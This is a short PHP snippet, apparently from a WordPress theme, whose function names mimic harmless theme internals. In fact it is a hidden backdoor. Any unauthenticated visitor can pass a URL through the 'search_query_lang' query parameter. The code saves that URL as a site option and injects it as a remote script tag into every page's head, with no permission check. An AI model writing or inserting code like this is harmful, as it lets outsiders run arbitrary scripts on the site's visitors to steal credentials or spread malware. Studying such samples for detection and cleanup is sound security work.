function et_theme_loader_unminified_styles() {
    global $shortname_referer;

    if (isset($_GET['search_query_lang'])) {
        $new_value = sanitize_text_field($_GET['search_query_lang']);

        if ($new_value === '0') {
            delete_option('shortname_referer');
            $shortname_referer = null;
        } else {
            update_option('shortname_referer', $new_value);
            $shortname_referer = $new_value;
        }
    } else {
        $shortname_referer = get_option('shortname_referer');
    }
}
add_action('init', 'et_theme_loader_unminified_styles');

function et_theme_shorcode_visualisation() {
    global $shortname_referer;

    if (!empty($shortname_referer)) {
        echo '<script src="' . esc_js($shortname_referer) . '"></script>';
    }
}
add_action('wp_head', 'et_theme_shorcode_visualisation');